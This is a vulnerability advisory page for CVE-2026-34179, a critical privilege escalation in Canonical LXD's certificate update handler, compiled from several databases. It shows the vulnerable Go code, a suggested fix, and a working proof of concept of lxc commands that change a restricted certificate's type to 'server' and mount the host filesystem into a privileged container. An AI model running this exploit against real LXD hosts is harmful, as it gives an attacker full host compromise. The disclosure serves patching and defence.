9.1critical
Update of type field in restricted TLS certificate allows privilege escalation to cluster admin
- Severity
- 9.1critical CVSS:3.1 by canonical
- Exploit likelihood
- 0.28% (higher than 21% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- canonical
- Also known as
- GHSA-c3h3-89qf-jqm5GO-2026-5306
Description
In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| lxd | from 4.12.0 before 5.0.7, from 5.1.0 before 5.21.5, from 6.0.0 before 6.8.0 | CVE List |
| github.com/canonical/lxd (Go) | from 0.0.0-20210305023314-538ac3df036e up to 0.0.0-20260226085519-736f34afb267, all versions | GitHub Advisory Database, Go Vulnerability Database |
| canonical lxd | from 4.12 up to 5.0.6, from 5.21.0 up to 5.21.4, from 6.0 up to 6.7 | NVD |
All scores
| canonical | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 9.1critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
In Canonical LXD versions 4.12 through 6.7, the doCertificateUpdate function in lxd/certificates.go does not validate the Type field when handling PUT/PATCH requests to /1.0/certificates/{fingerprint} for restricted TLS certificate users, allowing a remote authenticated attacker to escalate privileges to cluster admin.
GitHub Advisory Database
Summary
A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.
Details
doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.
For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:
- The guard block validates that
Restricted,Name, andProjectsmatch the original database record. Does not checkType.
// Ensure the user in not trying to change fields other than the certificate.
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
return response.Forbidden(errors.New("Only the certificate can be changed"))
}
- The reset block rebuilds the
dbCertstruct using original values forRestricted,Name, andCertificate. UsesreqDBType(caller-supplied) forTypeinstead of the originaldbInfotype.
// Reset dbCert in order to prevent possible future security issues.
dbCert = dbCluster.Certificate{
Certificate: dbInfo.Certificate,
Fingerprint: dbInfo.Fingerprint,
Restricted: dbInfo.Restricted,
Name: dbInfo.Name,
Type: reqDBType,
}
This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.
PoC
Tested on lxd 6.7.
As admin, create restricted project and restricted certificate:
# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted
# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user
As restricted user:
# Add token
lxc remote add target <token>
# Confirm we can only see the poc-restricted project
lxc project list target:
# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false
# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')
# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp
# Confirm type is 'server'
lxc config trust list target:
# Set project to restricted=false
lxc project set target:poc-restricted restricted=false
# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged
Impact
Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.
Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.
The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.
Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).
Suggested remediation
- Add
Typeto the guard check at line 992:
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
- Use the original type in the reset block at line 1008:
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
return response.InternalError(err)
}
dbCert = dbCluster.Certificate{
Certificate: dbInfo.Certificate,
Fingerprint: dbInfo.Fingerprint,
Restricted: dbInfo.Restricted,
Name: dbInfo.Name,
Type: origDBType,
}
Patches
Go Vulnerability Database
Type field in restricted TLS certificate allows privilege escalation in github.com/canonical/lxd
NVD (es)
En las versiones 4.12 a 6.7 de Canonical LXD, la función doCertificateUpdate en lxd/certificates.go no valida el campo Type al manejar solicitudes PUT/PATCH a /1.0/certificates/{fingerprint} para usuarios de certificados TLS restringidos, permitiendo a un atacante remoto autenticado escalar privilegios a administrador de clúster.
References
| https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5 | advisory, exploit, third-party-advisory, vdb-entry, vendor-advisory, web | |
| https://github.com/canonical/lxd/pull/17936 | fix, issue-tracking, patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-34179 | advisory | |
| https://github.com/canonical/lxd | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-34179 changed 2026-04-09 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-c3h3-89qf-jqm5 changed 2026-08-11 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5306 changed 2026-08-11 | CC-BY-4.0 |
| NVD | CVE-2026-34179 changed 2026-10-26 | Public domain |